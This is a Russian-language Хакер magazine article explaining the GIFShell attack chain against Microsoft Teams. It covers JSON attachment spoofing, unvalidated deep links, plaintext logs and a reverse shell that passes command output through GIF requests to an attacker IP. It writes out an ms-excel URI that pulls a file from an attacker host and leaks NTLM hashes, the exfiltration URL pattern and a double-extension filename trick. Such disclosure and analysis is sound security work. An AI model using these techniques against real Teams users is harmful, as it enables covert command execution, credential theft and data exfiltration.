Хакер - Ядовитые гифки. Как работает уязвимость GIFShell
hacker_frei
Валентин Холмогоров
Попытки спрятать вредоносное содержимое в обычных графических файлах предпринимались уже давно, и некоторые из них даже были успешными. На днях в блоге BleepingComputer был опубликован отчет о новой уязвимости, позволяющей запускать reverse shell в Microsoft Teams при помощи обычных GIF-файлов. Давай посмотрим, как она работает.
Когда мы говорим о внедрении вредоносного кода в графические файлы, сразу вспоминается дроппер, который извлекал бинарник трояна из сохраненной на диске картинки, и другая малварь, искавшая в опубликованном на удаленном сервере изображении управляющие команды. Новый вектор атаки, получивший наименование GIFShell, похож на второй случай. Он позволяет киберпреступникам злоупотреблять недостатками корпоративной платформы Microsoft Teams для запуска reverse shell и выполнения на скомпрометированном компьютере вредоносных команд. Причем добиваются всего этого при помощи обычных GIF-файлов. Ну, почти обычных.
GIFShell представляет собой не одну конкретную уязвимость, а целую цепочку атак, использующих различные недочеты в архитектуре платформы Microsoft Teams. Всего уязвимостей обнаружено семь, их выявил и систематизировал независимый эксперт по кибербезопасности Бобби Раух. Например, пользователям Microsoft Teams доступна возможность отправлять друг другу вложенные файлы, причем эти вложения могут загружать содержимое с внешнего URL, а не по внутренней ссылке SharePoint. Эти файлы порой выглядят вполне безобидными, однако при этом содержат неприятный сюрприз. У пользователя Microsoft Teams нет никакой возможности предварительно проверить, вредоносно такое вложение или нет.
Кроме того, Microsoft Teams позволяет загружать картинки в формате GIF с удаленных серверов и отправлять пользователям GIF-файлы в кодировке HTML Base64 и никак не проверяет их содержимое. Поэтому можно спрятать внутри такого файла вредоносные команды. Платформа поддерживает небезопасные схемы URI, допускающие кражу хешей SMB NTLM или атаки типа NTLM Relay. Наконец, весь трафик Microsoft Teams направляется клиентам через серверы Microsoft, из‑за чего антивирусы считают его легитимным и не замечают угрозы. Все это в совокупности открывает перед хакерами очень интересные возможности.
По соображениям безопасности пользователи Microsoft Teams из одной группы не имеют возможности напрямую обмениваться файлами с членами других групп. В окне отправки сообщения участнику другой команды попросту отсутствует кнопка с изображением скрепки, позволяющая прикрепить файл. Однако простые сообщения отправлять можно — многие администраторы даже не подозревают о том, что пользователи Teams по умолчанию могут получать сообщения от кого угодно.
Когда сообщение с вложением отправляется пользователю из той же группы, Microsoft Teams формирует ссылку SharePoint на вложенный файл, которая преобразуется в JSON и отправляется в виде POST-запроса на эндпойнт Teams. По умолчанию такую ссылку могут просматривать только отправитель и получатель сообщения. Но серверы Microsoft не проверяют, есть ли в ссылках SharePoint в теле JSON адреса сторонних серверов, поэтому такая ссылка может быть заменена любым URL. Это позволяет злоумышленнику выполнить атаку drive-by download. Кроме того, в этом JSON можно подменить и обозначение формата файла, вместо разрешенного JPEG передав, например, DLL или EXE.
Самое интересное, что на промежуточных серверах не проверяется и этот параметр: получатель увидит, что в послание вложено изображение JPEG, разве что без предварительного просмотра. Если юзер наведет курсор мыши на это вложение, также будет продемонстрировано имя вложенной картинки, например Christmas_Party_Photo.jpeg, хотя на самом деле файл имеет имя Christmas_Party_Photo.jpeg.............exe.

Поскольку используемые Teams JSON не имеют никакой CSRF-защиты, злоумышленник может легко автоматизировать отправку вредоносных сообщений, скажем с помощью модуля на Python, обходя любые установленные Microsoft ограничения.

Пример реализации такой атаки показан на видео.
Microsoft Teams поддерживает так называемую технологию deep linking. С ее помощью пользователи обмениваются ссылками, при нажатии на которые выполняются те или иные действия Teams. Например, чтобы отправить другому пользователю ссылку на чат, можно выслать ему такую запись:
msteams://l/chat/0/0?users=<email>
Любопытно, но ссылки deep linking серверы Microsoft тоже не проверяют на валидность, что позволяет добавлять в сообщения практически любые URI. Например, ссылку, которая загружает с сайта злоумышленников файл .xls и открывает его в Excel на машине жертвы:
ms-excel:/ofv|u|//10.10.10.10/ROPNOP/filename.xls
Кроме того, когда пользователь открывает такую ссылку, на машину атакующего отправляются данные SMB handshake, что позволяет злоумышленнику перехватить хеш NTLM и передать его контроллеру домена.
Следующая приятная для хакеров новость заключается в том, что файлы журналов Microsoft Teams, в которых записываются в том числе все сообщения вместе с их содержимым, хранятся в открытом виде на диске компьютера пользователя. Причем для чтения этих файлов не требуется даже наличия прав администратора. Например, в версии Microsoft Teams для работы или обучения журналы хранятся в следующей папке:
$HOME\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.microsoft.com_0.indexeddb.leveldb\*.log
Полученные сообщения сохраняются в этих журналах и доступны для чтения всем группам пользователей Windows, то есть любое вредоносное ПО на устройстве может беспрепятственно получить к ним доступ.
Для успешного выполнения атаки GIFShell злоумышленник первым делом при помощи гипноза социальной инженерии должен убедить потенциальную жертву запустить на своей машине вредоносный стейджер. Переслать его можно под видом безобидного JPEG-файла, модифицировав отвечающий за вложения в сообщения JSON (об этом методе было рассказано выше), или с помощью ссылки deep linking. Концепт такого стейджера выложен на GitHub Бобби Рауха. Для разработки своей программы автор использовал Python и PowerShell, но, в принципе, подобное приложение можно написать на любом языке программирования.
Затем злоумышленник формирует и отправляет жертве закодированные в Base64 GIF-файлы, в которые добавляет нужные ему системные команды. Такие GIF-файлы отображаются в окне Microsoft Teams как обычные картинки и вместе с самим сообщением сохраняются на диск в файл журнала. Стейджер на атакуемом компьютере сканирует журналы, ищет в них изображения в формате GIF/Base64, декодирует их, а затем выполняет спрятанные в Base64 команды с использованием PowerShell.
Итак, половина дела сделана: мы смогли выполнить команду на компьютере жертвы. Но ведь нужно еще передать ее вывод злоумышленнику! Для этого стейджер отслеживает выполнение команд на атакуемой машине, а затем формирует URL вида http://<attacker-ip>/<base64-encoded-command-output>.gif, где attacker-ip — это IP-адрес сервера атакующего, а base64-encoded-command-output — закодированный в Base64 вывод выполненной команды. Этот URL упаковывается в так называемую карточку опроса Microsoft Teams — сообщение в формате JSON — и отправляется на серверы Microsoft Teams.
Когда сервер Microsoft получает такую карточку, он обращается к узлу атакующего (IP-адрес которого содержится в URL) и пытается скачать оттуда GIF-файл. Дальше все просто: в имени этого несуществующего GIF-файла зашифрован в Base64 вывод команды, выполненной на машине жертвы. Этот вывод расшифровывается и передается атакующему. Например, файл с именем dGhlIHVzZXIgaXM6IA0KYm9iYnlyYXVjaDYyNzRcYm9iYnlyYXVJa0K.gif будет декодирован в вывод команды whoami, выполненной на скомпрометированном устройстве:
the user is:
bobbyrauch6274\bobbyrauIkBáë
Таким замысловатым образом реализуется достаточно эффективный обратный шелл — в опубликованном автором видео показано, как он работает.
Атакующие могут отправлять жертве большое количество картинок в формате GIF, содержащих команды, и получать информацию о выполнении спрятанных внутри команд. Поскольку все эти данные передаются через серверы Microsoft Teams и представляют собой обычный трафик приложения, антивирусы и брандмауэры не блокируют и не фильтруют его, что дает злоумышленникам полную свободу действий. Ну а поскольку Microsoft Teams работает как фоновый процесс, пользователю даже не нужно открывать его окно, чтобы вредоносные команды выполнились на его компьютере.
Бобби Раух проинформировал Microsoft об обнаруженных им уязвимостях в мае и июне 2022 года, но в Редмонде не посчитали их критически важными, и исследователь получил возможность обнародовать свою находку. Все описанные им атаки успешно выполнялись на Microsoft Teams версии 1.5.00.11163, и они гарантированно будут работать на более ранних версиях. Администраторы блога BleepingComputer обратились в Microsoft за комментариями по поводу устранения обнаруженных Раухом уязвимостей и получили такой ответ: «Некоторые уязвимости невысокой степени серьезности, которые не представляют непосредственной угрозы для пользователей, не являются приоритетными для немедленного обновления безопасности, но возможность их исправления будет рассмотрена в следующей версии ПО».
Иными словами, Microsoft не торопится исправлять проблемы с безопасностью, а значит, злоумышленники могут пользоваться ими и в дальнейшем. Поэтому пользователям Microsoft Teams следует проявлять особую осторожность и бдительность, если они не хотят стать жертвой хакеров.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei